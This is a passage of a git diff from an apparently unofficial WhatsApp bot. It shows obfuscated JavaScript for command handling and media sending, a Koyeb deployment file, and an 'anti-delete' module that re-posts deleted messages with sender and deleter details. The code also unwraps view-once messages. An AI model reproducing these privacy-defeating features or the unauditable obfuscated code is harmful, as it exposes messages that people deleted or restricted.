_0x308e34=_0x433e45[_0x50c532(0x1cd)][_0x50c532(0x346)](_0x3d98de=>_0x3d98de[_0x50c532(0x2bc)]===_0x4c9d0e)||_0x433e45[_0x50c532(0x1cd)][_0x50c532(0x346)](_0x47dd9d=>_0x47dd9d[_0x50c532(0x29f)]&&_0x47dd9d[_0x50c532(0x29f)]['includes'](_0x4c9d0e));if(_0x308e34){if(_0x308e34['react'])_0x56ac80['sendMessage'](_0x46dd61,{'react':{'text':_0x308e34['react'],'key':_0x1c9732[_0x50c532(0x2f1)]}});try{_0x308e34[_0x50c532(0x1f0)](_0x56ac80,_0x1c9732,_0x1a54cd,{'from':_0x46dd61,'quoted':_0x2fc166,'body':_0x1b47c5,'isCmd':_0x53c320,'command':_0x25f21a,'args':_0x4fffba,'q':_0x5e3711,'text':_0x15654b,'isGroup':_0x49325c,'sender':_0x2860ef,'senderNumber':_0x1e3d4b,'botNumber2':_0x18ac53,'botNumber':_0x55fcd1,'pushname':_0x39f335,'isMe':_0x112cec,'isOwner':_0x4d6166,'isCreator':_0xd24548,'groupMetadata':_0x327db9,'groupName':_0x4fa895,'participants':_0xc5c331,'groupAdmins':_0x2e4f3d,'isBotAdmins':_0xad31a4,'isAdmins':_0x12f8fb,'reply':_0x4d7b2f});}catch(_0x344fa2){console['error'](_0x50c532(0x29b)+_0x344fa2);}}}_0x433e45[_0x50c532(0x1cd)]['map'](async _0x290b44=>{const _0x58da92=_0x50c532;if(_0x1b47c5&&_0x290b44['on']===_0x58da92(0x244))_0x290b44['function'](_0x56ac80,_0x1c9732,_0x1a54cd,{'from':_0x46dd61,'l':l,'quoted':_0x2fc166,'body':_0x1b47c5,'isCmd':_0x53c320,'command':_0x290b44,'args':_0x4fffba,'q':_0x5e3711,'text':_0x15654b,'isGroup':_0x49325c,'sender':_0x2860ef,'senderNumber':_0x1e3d4b,'botNumber2':_0x18ac53,'botNumber':_0x55fcd1,'pushname':_0x39f335,'isMe':_0x112cec,'isOwner':_0x4d6166,'isCreator':_0xd24548,'groupMetadata':_0x327db9,'groupName':_0x4fa895,'participants':_0xc5c331,'groupAdmins':_0x2e4f3d,'isBotAdmins':_0xad31a4,'isAdmins':_0x12f8fb,'reply':_0x4d7b2f});else{if(_0x1c9732['q']&&_0x290b44['on']==='text')_0x290b44['function'](_0x56ac80,_0x1c9732,_0x1a54cd,{'from':_0x46dd61,'l':l,'quoted':_0x2fc166,'body':_0x1b47c5,'isCmd':_0x53c320,'command':_0x290b44,'args':_0x4fffba,'q':_0x5e3711,'text':_0x15654b,'isGroup':_0x49325c,'sender':_0x2860ef,'senderNumber':_0x1e3d4b,'botNumber2':_0x18ac53,'botNumber':_0x55fcd1,'pushname':_0x39f335,'isMe':_0x112cec,'isOwner':_0x4d6166,'isCreator':_0xd24548,'groupMetadata':_0x327db9,'groupName':_0x4fa895,'participants':_0xc5c331,'groupAdmins':_0x2e4f3d,'isBotAdmins':_0xad31a4,'isAdmins':_0x12f8fb,'reply':_0x4d7b2f});else{if((_0x290b44['on']===_0x58da92(0x23b)||_0x290b44['on']===_0x58da92(0x2f3))&&_0x1c9732[_0x58da92(0x1b3)]==='imageMessage')_0x290b44[_0x58da92(0x1f0)](_0x56ac80,_0x1c9732,_0x1a54cd,{'from':_0x46dd61,'l':l,'quoted':_0x2fc166,'body':_0x1b47c5,'isCmd':_0x53c320,'command':_0x290b44,'args':_0x4fffba,'q':_0x5e3711,'text':_0x15654b,'isGroup':_0x49325c,'sender':_0x2860ef,'senderNumber':_0x1e3d4b,'botNumber2':_0x18ac53,'botNumber':_0x55fcd1,'pushname':_0x39f335,'isMe':_0x112cec,'isOwner':_0x4d6166,'isCreator':_0xd24548,'groupMetadata':_0x327db9,'groupName':_0x4fa895,'participants':_0xc5c331,'groupAdmins':_0x2e4f3d,'isBotAdmins':_0xad31a4,'isAdmins':_0x12f8fb,'reply':_0x4d7b2f});else _0x290b44['on']===_0x58da92(0x222)&&_0x1c9732[_0x58da92(0x1b3)]===_0x58da92(0x2c3)&&_0x290b44['function'](_0x56ac80,_0x1c9732,_0x1a54cd,{'from':_0x46dd61,'l':l,'quoted':_0x2fc166,'body':_0x1b47c5,'isCmd':_0x53c320,'command':_0x290b44,'args':_0x4fffba,'q':_0x5e3711,'text':_0x15654b,'isGroup':_0x49325c,'sender':_0x2860ef,'senderNumber':_0x1e3d4b,'botNumber2':_0x18ac53,'botNumber':_0x55fcd1,'pushname':_0x39f335,'isMe':_0x112cec,'isOwner':_0x4d6166,'isCreator':_0xd24548,'groupMetadata':_0x327db9,'groupName':_0x4fa895,'participants':_0xc5c331,'groupAdmins':_0x2e4f3d,'isBotAdmins':_0xad31a4,'isAdmins':_0x12f8fb,'reply':_0x4d7b2f});}}});}),_0x56ac80[_0x4fa459(0x1c0)]=_0x328d79=>{const _0x49515d=_0x4fa459;if(!_0x328d79)return _0x328d79;if(/:\d+@/gi[_0x49515d(0x1e2)](_0x328d79)){let _0x3c31d4=jidDecode(_0x328d79)||{};return _0x3c31d4[_0x49515d(0x230)]&&_0x3c31d4[_0x49515d(0x2bb)]&&_0x3c31d4[_0x49515d(0x230)]+'@'+_0x3c31d4[_0x49515d(0x2bb)]||_0x328d79;}else return _0x328d79;},_0x56ac80[_0x4fa459(0x34d)]=async(_0x54cb85,_0x743039,_0xebfac2=![],_0x507411={})=>{const _0x4e4a72=_0x4fa459;let _0x43aeee;_0x507411[_0x4e4a72(0x2f2)]&&(_0x743039['message']=_0x743039[_0x4e4a72(0x1e7)]&&_0x743039[_0x4e4a72(0x1e7)]['ephemeralMessage']&&_0x743039[_0x4e4a72(0x1e7)]['ephemeralMessage'][_0x4e4a72(0x1e7)]?_0x743039[_0x4e4a72(0x1e7)]['ephemeralMessage'][_0x4e4a72(0x1e7)]:_0x743039[_0x4e4a72(0x1e7)]||undefined,_0x43aeee=Object['keys'](_0x743039[_0x4e4a72(0x1e7)]['viewOnceMessage'][_0x4e4a72(0x1e7)])[0x0],delete(_0x743039[_0x4e4a72(0x1e7)]&&_0x743039[_0x4e4a72(0x1e7)]['ignore']?_0x743039[_0x4e4a72(0x1e7)]['ignore']:_0x743039[_0x4e4a72(0x1e7)]||undefined),delete _0x743039[_0x4e4a72(0x1e7)][_0x4e4a72(0x2a6)][_0x4e4a72(0x1e7)][_0x43aeee][_0x4e4a72(0x332)],_0x743039[_0x4e4a72(0x1e7)]={..._0x743039[_0x4e4a72(0x1e7)]['viewOnceMessage'][_0x4e4a72(0x1e7)]});let _0x2f6631=Object['keys'](_0x743039[_0x4e4a72(0x1e7)])[0x0],_0x1749e8=await generateForwardMessageContent(_0x743039,_0xebfac2),_0x199677=Object['keys'](_0x1749e8)[0x0],_0x52cc32={};if(_0x2f6631!=_0x4e4a72(0x23c))_0x52cc32=_0x743039['message'][_0x2f6631][_0x4e4a72(0x2d9)];_0x1749e8[_0x199677][_0x4e4a72(0x2d9)]={..._0x52cc32,..._0x1749e8[_0x199677][_0x4e4a72(0x2d9)]};const _0x2786a1=await generateWAMessageFromContent(_0x54cb85,_0x1749e8,_0x507411?{..._0x1749e8[_0x199677],..._0x507411,..._0x507411['contextInfo']?{'contextInfo':{..._0x1749e8[_0x199677][_0x4e4a72(0x2d9)],..._0x507411[_0x4e4a72(0x2d9)]}}:{}}:{});return await _0x56ac80[_0x4e4a72(0x2ef)](_0x54cb85,_0x2786a1['message'],{'messageId':_0x2786a1[_0x4e4a72(0x2f1)]['id']}),_0x2786a1;},_0x56ac80[_0x4fa459(0x2df)]=async(_0x4ce9ca,_0x1bc44d,_0x390be2=!![])=>{const _0x497f89=_0x4fa459;let _0x3ca1cc=_0x4ce9ca['msg']?_0x4ce9ca[_0x497f89(0x2e2)]:_0x4ce9ca,_0x34e298=(_0x4ce9ca[_0x497f89(0x2e2)]||_0x4ce9ca)[_0x497f89(0x2ff)]||'',_0x4a4bdf=_0x4ce9ca[_0x497f89(0x31f)]?_0x4ce9ca[_0x497f89(0x31f)][_0x497f89(0x35e)](/Message/gi,''):_0x34e298[_0x497f89(0x25d)]('/')[0x0];const _0x3e2cfa=await downloadContentFromMessage(_0x3ca1cc,_0x4a4bdf);let _0x5e742e=Buffer['from']([]);for await(const _0xa4b22e of _0x3e2cfa){_0x5e742e=Buffer[_0x497f89(0x2bf)]([_0x5e742e,_0xa4b22e]);}let _0xbc2359=await FileType['fromBuffer'](_0x5e742e);return trueFileName=_0x390be2?_0x1bc44d+'.'+_0xbc2359[_0x497f89(0x376)]:_0x1bc44d,await fs[_0x497f89(0x287)](trueFileName,_0x5e742e),trueFileName;},_0x56ac80[_0x4fa459(0x33c)]=async _0x160af2=>{const _0x2ce932=_0x4fa459;let _0x94bc2b=(_0x160af2[_0x2ce932(0x2e2)]||_0x160af2)[_0x2ce932(0x2ff)]||'',_0x31ff40=_0x160af2[_0x2ce932(0x31f)]?_0x160af2['mtype'][_0x2ce932(0x35e)](/Message/gi,''):_0x94bc2b[_0x2ce932(0x25d)]('/')[0x0];const _0x36436c=await downloadContentFromMessage(_0x160af2,_0x31ff40);let _0x3f0c35=Buffer[_0x2ce932(0x241)]([]);for await(const _0x229309 of _0x36436c){_0x3f0c35=Buffer[_0x2ce932(0x2bf)]([_0x3f0c35,_0x229309]);}return _0x3f0c35;},_0x56ac80['sendFileUrl']=async(_0x226d84,_0x365a17,_0x56caa4,_0x2ce5ca,_0x2ff653={})=>{const _0x326e52=_0x4fa459;let _0x5d4a08='',_0x261751=await axios[_0x326e52(0x1aa)](_0x365a17);_0x5d4a08=_0x261751[_0x326e52(0x2a7)][_0x326e52(0x22c)];if(_0x5d4a08[_0x326e52(0x25d)]('/')[0x1]===_0x326e52(0x1b2))return _0x56ac80[_0x326e52(0x276)](_0x226d84,{'video':await getBuffer(_0x365a17),'caption':_0x56caa4,'gifPlayback':!![],..._0x2ff653},{'quoted':_0x2ce5ca,..._0x2ff653});let _0x4afd1b=_0x5d4a08['split']('/')[0x0]+_0x326e52(0x272);if(_0x5d4a08===_0x326e52(0x233))return _0x56ac80[_0x326e52(0x276)](_0x226d84,{'document':await getBuffer(_0x365a17),'mimetype':'application/pdf','caption':_0x56caa4,..._0x2ff653},{'quoted':_0x2ce5ca,..._0x2ff653});if(_0x5d4a08[_0x326e52(0x25d)]('/')[0x0]==='image')return _0x56ac80['sendMessage'](_0x226d84,{'image':await getBuffer(_0x365a17),'caption':_0x56caa4,..._0x2ff653},{'quoted':_0x2ce5ca,..._0x2ff653});if(_0x5d4a08[_0x326e52(0x25d)]('/')[0x0]===_0x326e52(0x225))return _0x56ac80['sendMessage'](_0x226d84,{'video':await getBuffer(_0x365a17),'caption':_0x56caa4,'mimetype':'video/mp4',..._0x2ff653},{'quoted':_0x2ce5ca,..._0x2ff653});if(_0x5d4a08[_0x326e52(0x25d)]('/')[0x0]==='audio')return _0x56ac80[_0x326e52(0x276)](_0x226d84,{'audio':await getBuffer(_0x365a17),'caption':_0x56caa4,'mimetype':'audio/mpeg',..._0x2ff653},{'quoted':_0x2ce5ca,..._0x2ff653});},_0x56ac80['cMod']=(_0x260a5b,_0x1315eb,_0x35974a='',_0x244358=_0x56ac80['user']['id'],_0x598b79={})=>{const _0x220eb7=_0x4fa459;let _0x474fb=Object['keys'](_0x1315eb[_0x220eb7(0x1e7)])[0x0],_0x2f1f2c=_0x474fb===_0x220eb7(0x202);_0x2f1f2c&&(_0x474fb=Object[_0x220eb7(0x341)](_0x1315eb['message'][_0x220eb7(0x202)][_0x220eb7(0x1e7)])[0x0]);let _0x1b6f6b=_0x2f1f2c?_0x1315eb[_0x220eb7(0x1e7)][_0x220eb7(0x202)]['message']:_0x1315eb['message'],_0x430d3b=_0x1b6f6b[_0x474fb];if(typeof _0x430d3b===_0x220eb7(0x2b7))_0x1b6f6b[_0x474fb]=_0x35974a||_0x430d3b;else{if(_0x430d3b[_0x220eb7(0x1ca)])_0x430d3b[_0x220eb7(0x1ca)]=_0x35974a||_0x430d3b['caption'];else{if(_0x430d3b[_0x220eb7(0x314)])_0x430d3b[_0x220eb7(0x314)]=_0x35974a||_0x430d3b[_0x220eb7(0x314)];}}if(typeof _0x430d3b!==_0x220eb7(0x2b7))_0x1b6f6b[_0x474fb]={..._0x430d3b,..._0x598b79};if(_0x1315eb[_0x220eb7(0x2f1)][_0x220eb7(0x21b)])_0x244358=_0x1315eb[_0x220eb7(0x2f1)]['participant']=_0x244358||_0x1315eb[_0x220eb7(0x2f1)][_0x220eb7(0x21b)];else{if(_0x1315eb[_0x220eb7(0x2f1)]['participant'])_0x244358=_0x1315eb['key']['participant']=_0x244358||_0x1315eb[_0x220eb7(0x2f1)]['participant'];}if(_0x1315eb['key'][_0x220eb7(0x340)][_0x220eb7(0x22b)](_0x220eb7(0x27a)))_0x244358=_0x244358||_0x1315eb[_0x220eb7(0x2f1)][_0x220eb7(0x340)];else{if(_0x1315eb[_0x220eb7(0x2f1)]['remoteJid'][_0x220eb7(0x22b)]('@broadcast'))_0x244358=_0x244358||_0x1315eb['key'][_0x220eb7(0x340)];}return _0x1315eb[_0x220eb7(0x2f1)][_0x220eb7(0x340)]=_0x260a5b,_0x1315eb['key'][_0x220eb7(0x2fd)]=_0x244358===_0x56ac80['user']['id'],proto['WebMessageInfo']['fromObject'](_0x1315eb);},_0x56ac80[_0x4fa459(0x273)]=async(_0x1d7bd8,_0x1cb8cb)=>{const _0x356997=_0x4fa459;let _0x56ee37,_0x3cd4f3=Buffer[_0x356997(0x30d)](_0x1d7bd8)?_0x1d7bd8:/^data:.*?\/.*?;base64,/i['test'](_0x1d7bd8)?Buffer['from'](_0x1d7bd8[_0x356997(0x25d)]`,`[0x1],_0x356997(0x334)):/^https?:\/\//[_0x356997(0x1e2)](_0x1d7bd8)?await(_0x56ee37=await getBuffer(_0x1d7bd8)):fs[_0x356997(0x221)](_0x1d7bd8)?(_0x3626bd=_0x1d7bd8,fs[_0x356997(0x33e)](_0x1d7bd8)):typeof _0x1d7bd8===_0x356997(0x2b7)?_0x1d7bd8:Buffer[_0x356997(0x2ae)](0x0),_0x4503bb=await FileType[_0x356997(0x1de)](_0x3cd4f3)||{'mime':_0x356997(0x358),'ext':_0x356997(0x1d6)},_0x3626bd=path[_0x356997(0x30f)](__filename,__dirname+new Date()*0x1+'.'+_0x4503bb[_0x356997(0x376)]);if(_0x3cd4f3&&_0x1cb8cb)fs[_0x356997(0x1cb)][_0x356997(0x215)](_0x3626bd,_0x3cd4f3);return{'res':_0x56ee37,'filename':_0x3626bd,'size':await getSizeMedia(_0x3cd4f3),..._0x4503bb,'data':_0x3cd4f3};},_0x56ac80['sendFile']=async(_0x58e43e,_0x29ee3d,_0x216773,_0x558f36={},_0x33c1ba={})=>{const _0x1f398d=_0x4fa459;let _0x28acc=await _0x56ac80[_0x1f398d(0x273)](_0x29ee3d,!![]),{filename:_0x2e6bfc,size:_0x4804b8,ext:_0x1e0d5d,mime:_0x21e210,data:_0xef1c55}=_0x28acc,_0x33e4fb='',_0x144b72=_0x21e210,_0xe45e44=_0x2e6bfc;if(_0x33c1ba[_0x1f398d(0x231)])_0x33e4fb=_0x1f398d(0x31e);if(_0x33c1ba['asSticker']||/webp/[_0x1f398d(0x1e2)](_0x21e210)){let {writeExif:_0x3be1c4}=require(_0x1f398d(0x255)),_0x15b25a={'mimetype':_0x21e210,'data':_0xef1c55};_0xe45e44=await _0x3be1c4(_0x15b25a,{'packname':Config[_0x1f398d(0x1f7)],'author':Config[_0x1f398d(0x1f7)],'categories':_0x33c1ba['categories']?_0x33c1ba['categories']:[]}),await fs[_0x1f398d(0x1cb)]['unlink'](_0x2e6bfc),_0x33e4fb=_0x1f398d(0x222),_0x144b72=_0x1f398d(0x24a);}else{if(/image/[_0x1f398d(0x1e2)](_0x21e210))_0x33e4fb=_0x1f398d(0x23b);else{if(/video/['test'](_0x21e210))_0x33e4fb=_0x1f398d(0x225);else{if(/audio/[_0x1f398d(0x1e2)](_0x21e210))_0x33e4fb=_0x1f398d(0x2ea);else _0x33e4fb=_0x1f398d(0x31e);}}}return await _0x56ac80[_0x1f398d(0x276)](_0x58e43e,{[_0x33e4fb]:{'url':_0xe45e44},'mimetype':_0x144b72,'fileName':_0x216773,..._0x33c1ba},{'quoted':_0x558f36,..._0x33c1ba}),fs[_0x1f398d(0x1cb)][_0x1f398d(0x23d)](_0xe45e44);},_0x56ac80[_0x4fa459(0x325)]=async _0x1b273d=>{const _0x2a6335=_0x4fa459;return[..._0x1b273d[_0x2a6335(0x2cd)](/@([0-9]{5,16}|0)/g)][_0x2a6335(0x1bb)](_0x16a4b2=>_0x16a4b2[0x1]+'@s.whatsapp.net');},_0x56ac80['sendMedia']=async(_0x541f70,_0x4b0fd5,_0x1c83df='',_0x47f353='',_0xbf4d98='',_0x5c92d6={})=>{const _0x15832c=_0x4fa459;let _0x4169c6=await _0x56ac80[_0x15832c(0x273)](_0x4b0fd5,!![]),{mime:_0x25bed3,ext:_0x1b2e39,res:_0x50472c,data:_0x3f355b,filename:_0x108ae2}=_0x4169c6;if(_0x50472c&&_0x50472c[_0x15832c(0x22f)]!==0xc8||file[_0x15832c(0x25c)]<=0x10000)try{throw{'json':JSON[_0x15832c(0x216)](file['toString']())};}catch(_0x166c6a){if(_0x166c6a['json'])throw _0x166c6a['json'];}let _0x26e27d='',_0x4e9e30=_0x25bed3,_0x4a7730=_0x108ae2;if(_0x5c92d6[_0x15832c(0x231)])_0x26e27d='document';if(_0x5c92d6[_0x15832c(0x1e1)]||/webp/[_0x15832c(0x1e2)](_0x25bed3)){let {writeExif:_0x34942b}=require(_0x15832c(0x1df)),_0x303892={'mimetype':_0x25bed3,'data':_0x3f355b};_0x4a7730=await _0x34942b(_0x303892,{'packname':_0x5c92d6[_0x15832c(0x1f7)]?_0x5c92d6[_0x15832c(0x1f7)]:Config['packname'],'author':_0x5c92d6[_0x15832c(0x1a8)]?_0x5c92d6['author']:Config['author'],'categories':_0x5c92d6[_0x15832c(0x294)]?_0x5c92d6[_0x15832c(0x294)]:[]}),await fs[_0x15832c(0x1cb)][_0x15832c(0x23d)](_0x108ae2),_0x26e27d='sticker',_0x4e9e30='image/webp';}else{if(/image/['test'](_0x25bed3))_0x26e27d='image';else{if(/video/[_0x15832c(0x1e2)](_0x25bed3))_0x26e27d=_0x15832c(0x225);else{if(/audio/[_0x15832c(0x1e2)](_0x25bed3))_0x26e27d=_0x15832c(0x2ea);else _0x26e27d=_0x15832c(0x31e);}}}return await _0x56ac80[_0x15832c(0x276)](_0x541f70,{[_0x26e27d]:{'url':_0x4a7730},'caption':_0x47f353,'mimetype':_0x4e9e30,'fileName':_0x1c83df,..._0x5c92d6},{'quoted':_0xbf4d98,..._0x5c92d6}),fs[_0x15832c(0x1cb)][_0x15832c(0x23d)](_0x4a7730);},_0x56ac80['sendVideoAsSticker']=async(_0x9d2398,_0xab86a1,_0x16bcd2={})=>{const _0x25332b=_0x4fa459;let _0x4faa95;_0x16bcd2&&(_0x16bcd2[_0x25332b(0x1f7)]||_0x16bcd2['author'])?_0x4faa95=await writeExifVid(_0xab86a1,_0x16bcd2):_0x4faa95=await videoToWebp(_0xab86a1),await _0x56ac80[_0x25332b(0x276)](_0x9d2398,{'sticker':{'url':_0x4faa95},..._0x16bcd2},_0x16bcd2);},_0x56ac80[_0x4fa459(0x2ab)]=async(_0x42210a,_0x377c59,_0x4daafa={})=>{const _0x407886=_0x4fa459;let _0xb57ad8;_0x4daafa&&(_0x4daafa[_0x407886(0x1f7)]||_0x4daafa[_0x407886(0x1a8)])?_0xb57ad8=await writeExifImg(_0x377c59,_0x4daafa):_0xb57ad8=await imageToWebp(_0x377c59),await _0x56ac80[_0x407886(0x276)](_0x42210a,{'sticker':{'url':_0xb57ad8},..._0x4daafa},_0x4daafa);},_0x56ac80[_0x4fa459(0x342)]=async(_0x526fb3,_0x52244d,_0x30b86b,_0x180bfe={})=>_0x56ac80['sendMessage'](_0x526fb3,{'text':_0x52244d,'contextInfo':{'mentionedJid':[..._0x52244d['matchAll'](/@(\d{0,16})/g)][_0x4fa459(0x1bb)](_0x4a402f=>_0x4a402f[0x1]+_0x4fa459(0x27a))},..._0x180bfe},{'quoted':_0x30b86b}),_0x56ac80[_0x4fa459(0x351)]=async(_0x17b990,_0x32f36b,_0x3f70e7='',_0x5d221a='',_0x527c09)=>{const _0x42d15c=_0x4fa459;let _0x5e2bef=Buffer[_0x42d15c(0x30d)](_0x32f36b)?_0x32f36b:/^data:.*?\/.*?;base64,/i[_0x42d15c(0x1e2)](_0x32f36b)?Buffer[_0x42d15c(0x241)](_0x32f36b[_0x42d15c(0x25d)]`,`[0x1],_0x42d15c(0x334)):/^https?:\/\//[_0x42d15c(0x1e2)](_0x32f36b)?await await getBuffer(_0x32f36b):fs['existsSync'](_0x32f36b)?fs[_0x42d15c(0x33e)](_0x32f36b):Buffer[_0x42d15c(0x2ae)](0x0);return await _0x56ac80[_0x42d15c(0x276)](_0x17b990,{'image':_0x5e2bef,'caption':_0x3f70e7,..._0x527c09},{'quoted':_0x5d221a});},_0x56ac80['sendText']=(_0x3e0bfb,_0x5b5c0d,_0x152799='',_0x490e94)=>_0x56ac80['sendMessage'](_0x3e0bfb,{'text':_0x5b5c0d,..._0x490e94},{'quoted':_0x152799}),_0x56ac80[_0x4fa459(0x343)]=(_0x5a68a2,_0x2b97ee=[],_0x420363,_0x548e99,_0x389e15='',_0x19a880={})=>{const _0x4e64e9=_0x4fa459;let _0x364786={'text':_0x420363,'footer':_0x548e99,'buttons':_0x2b97ee,'headerType':0x2,..._0x19a880};_0x56ac80[_0x4e64e9(0x276)](_0x5a68a2,_0x364786,{'quoted':_0x389e15,..._0x19a880});},_0x56ac80[_0x4fa459(0x306)]=async(_0x3f6868,_0x428734='',_0x50be69='',_0x31b63b,_0x32be5a=[],_0x181a8a,_0x17ca1d={})=>{const _0x3be338=_0x4fa459;let _0x5588eb=await prepareWAMessageMedia({'image':_0x31b63b,'jpegThumbnail':_0x181a8a},{'upload':_0x56ac80['waUploadToServer']});var _0x3ccb16=generateWAMessageFromContent(_0x3f6868,proto['Message'][_0x3be338(0x223)]({'templateMessage':{'hydratedTemplate':{'imageMessage':_0x5588eb[_0x3be338(0x1fa)],'hydratedContentText':_0x428734,'hydratedFooterText':_0x50be69,'hydratedButtons':_0x32be5a}}}),_0x17ca1d);_0x56ac80[_0x3be338(0x2ef)](_0x3f6868,_0x3ccb16[_0x3be338(0x1e7)],{'messageId':_0x3ccb16['key']['id']});},_0x56ac80[_0x4fa459(0x375)]=(_0x14161f,_0xa37fb8=![])=>{const _0x1c70b6=_0x4fa459;id=_0x56ac80['decodeJid'](_0x14161f),_0xa37fb8=_0x56ac80[_0x1c70b6(0x1b4)]||_0xa37fb8;let _0x46760b;if(id[_0x1c70b6(0x1cf)](_0x1c70b6(0x212)))return new Promise(async _0x5c1460=>{const _0x411a1f=_0x1c70b6;_0x46760b=store[_0x411a1f(0x245)][id]||{};if(!(_0x46760b['name'][_0x411a1f(0x37e)]||_0x46760b[_0x411a1f(0x237)]))_0x46760b=_0x56ac80[_0x411a1f(0x1a5)](id)||{};_0x5c1460(_0x46760b[_0x411a1f(0x2f7)]||_0x46760b[_0x411a1f(0x237)]||PhoneNumber('+'+id[_0x411a1f(0x35e)](_0x411a1f(0x27a),''))[_0x411a1f(0x2fa)](_0x411a1f(0x1f2)));});else _0x46760b=id===_0x1c70b6(0x377)?{'id':id,'name':_0x1c70b6(0x22d)}:id===_0x56ac80[_0x1c70b6(0x1c0)](_0x56ac80[_0x1c70b6(0x230)]['id'])?_0x56ac80[_0x1c70b6(0x230)]:store[_0x1c70b6(0x245)][id]||{};return(_0xa37fb8?'':_0x46760b[_0x1c70b6(0x2f7)])||_0x46760b[_0x1c70b6(0x237)]||_0x46760b['verifiedName']||PhoneNumber('+'+_0x14161f['replace'](_0x1c70b6(0x27a),''))[_0x1c70b6(0x2fa)](_0x1c70b6(0x1f2));},_0x56ac80[_0x4fa459(0x277)]=async(_0x34d486,_0x454f3d,_0x30cf68='',_0x161fca={})=>{const _0x5d19ce=_0x4fa459;let _0x360539=[];for(let _0x1b5848 of _0x454f3d){_0x360539['push']({'displayName':await _0x56ac80[_0x5d19ce(0x375)](_0x1b5848+_0x5d19ce(0x27a)),'vcard':_0x5d19ce(0x2e8)+await _0x56ac80['getName'](_0x1b5848+_0x5d19ce(0x27a))+_0x5d19ce(0x2c4)+global['OwnerName']+_0x5d19ce(0x26d)+_0x1b5848+':'+_0x1b5848+_0x5d19ce(0x32c)+global[_0x5d19ce(0x2f4)]+_0x5d19ce(0x1d0)+global[_0x5d19ce(0x1b8)]+_0x5d19ce(0x36f)+global[_0x5d19ce(0x31d)]+_0x5d19ce(0x243)});}_0x56ac80[_0x5d19ce(0x276)](_0x34d486,{'contacts':{'displayName':_0x360539[_0x5d19ce(0x25c)]+_0x5d19ce(0x1fc),'contacts':_0x360539},..._0x161fca},{'quoted':_0x30cf68});},_0x56ac80['setStatus']=_0x1428be=>{const _0x19b530=_0x4fa459;return _0x56ac80[_0x19b530(0x1b9)]({'tag':'iq','attrs':{'to':_0x19b530(0x27a),'type':_0x19b530(0x2af),'xmlns':_0x19b530(0x22f)},'content':[{'tag':'status','attrs':{},'content':Buffer[_0x19b530(0x241)](_0x1428be,'utf-8')}]}),_0x1428be;},_0x56ac80[_0x4fa459(0x1ed)]=_0x5ec48d=>sms(_0x56ac80,_0x5ec48d,store);}app[_0x301f9c(0x324)]('/',(_0x477fc7,_0x84f5fa)=>{const _0x5cd397=_0x301f9c;_0x84f5fa['send'](_0x5cd397(0x2ba));}),app[_0x301f9c(0x1dc)](port,()=>console[_0x301f9c(0x33d)]('Server\x20listening\x20on\x20port\x20http://localhost:'+port)),setTimeout(()=>{connectToWA();},0xfa0); \ No newline at end of file diff --git a/koyeb.yaml b/koyeb.yaml new file mode 100644 index 0000000000000000000000000000000000000000..4e81142d1d53344e85b9f3fade4e528c1e5f659d --- /dev/null +++ b/koyeb.yaml @@ -0,0 +1,17 @@ +name: ali-ai +services: + - name: ali-ai-service + type: web + ports: + - 5000 + routes: + - path: "/" + build: + type: docker + dockerfile: ./Dockerfile + regions: + - fra + - sin + + + diff --git a/lib/antidel.js b/lib/antidel.js new file mode 100644 index 0000000000000000000000000000000000000000..d9da0561c7e284443bd51516ece67c7bfd4bea72 --- /dev/null +++ b/lib/antidel.js @@ -0,0 +1,89 @@ +const { isJidGroup } = require('@whiskeysockets/baileys'); +const { loadMessage, getAnti } = require('../data'); +const config = require('../config'); + +const DeletedText = async (conn, mek, jid, deleteInfo, isGroup, update) => { + const messageContent = mek.message?.conversation || mek.message?.extendedTextMessage?.text || 'Unknown content'; + deleteInfo += `\n\n*๐Ÿ’ฌแดแด‡ssแด€ษขแด‡:* ${messageContent}`; + + await conn.sendMessage( + jid, + { + text: deleteInfo, + contextInfo: { + mentionedJid: isGroup ? [update.key.participant, mek.key.participant] : [update.key.remoteJid], + }, + }, + { quoted: mek }, + ); +}; + +const DeletedMedia = async (conn, mek, jid, deleteInfo) => { + const antideletedmek = structuredClone(mek.message); + const messageType = Object.keys(antideletedmek)[0]; + if (antideletedmek[messageType]) { + antideletedmek[messageType].contextInfo = { + stanzaId: mek.key.id, + participant: mek.sender, + quotedMessage: mek.message, + }; + } + if (messageType === 'imageMessage' || messageType === 'videoMessage') { + antideletedmek[messageType].caption = deleteInfo; + } else if (messageType === 'audioMessage' || messageType === 'documentMessage') { + await conn.sendMessage(jid, { text: `*๐Ÿšจ Delete Detected!*\n\n${deleteInfo}` }, { quoted: mek }); + } + await conn.relayMessage(jid, antideletedmek, {}); +}; + +const AntiDelete = async (conn, updates) => { + for (const update of updates) { + if (update.update.message === null) { + const store = await loadMessage(update.key.id); + + if (store && store.message) { + const mek = store.message; + const isGroup = isJidGroup(store.jid); + const antiDeleteType = isGroup ? 'gc' : 'dm'; + const antiDeleteStatus = await getAnti(antiDeleteType); + if (!antiDeleteStatus) continue; + + const deleteTime = new Date().toLocaleTimeString('en-GB', { + hour: '2-digit', + minute: '2-digit', + second: '2-digit', + }); + + let deleteInfo, jid; + if (isGroup) { + const groupMetadata = await conn.groupMetadata(store.jid); + const groupName = groupMetadata.subject; + const sender = mek.key.participant?.split('@')[0]; + const deleter = update.key.participant?.split('@')[0]; + + deleteInfo = `*โญ•sแดแดแด‡แดษดแด‡ แด…แด‡สŸแด‡แด›แด‡ แด€ แดแด‡ssแด€ษขแด‡!!*\n\n*โฐแด›ษชแดแด‡:* ${deleteTime}\n*๐ŸŽกษขส€แดแดœแด˜:* ${groupName}\n*๐ŸšฏแชณแชณอŽแด…แด‡สŸแด‡แด›แด‡แด… ส™ส:* @${deleter}\n*๐Ÿ™‡๐Ÿปโ€โ™‚๏ธแชณแชณอŽsแด‡ษดแด…แด‡ส€:* @${sender}`; + jid = config.ANTI_DEL_PATH === "log" ? conn.user.id : store.jid; + } else { + const senderNumber = mek.key.remoteJid?.split('@')[0]; + const deleterNumber = update.key.remoteJid?.split('@')[0]; + + + deleteInfo = `*โญ•sแดแดแด‡แดษดแด‡ แด…แด‡สŸแด‡แด›แด‡ แด€ แดแด‡ssแด€ษขแด‡!!*\n\n*โฐแด›ษชแดแด‡:* ${deleteTime}\n*๐ŸšฏแชณแชณอŽแด…แด‡สŸแด‡แด›แด‡แด… ส™ส:* @${deleterNumber}\n*๐Ÿ™‡๐Ÿปโ€โ™‚๏ธแชณแชณอŽsแด‡ษดแด…แด‡ส€:* @${senderNumber}`; + jid = config.ANTI_DEL_PATH === "log" ? conn.user.id : update.key.remoteJid; + } + + if (mek.message?.conversation || mek.message?.extendedTextMessage) { + await DeletedText(conn, mek, jid, deleteInfo, isGroup, update); + } else { + await 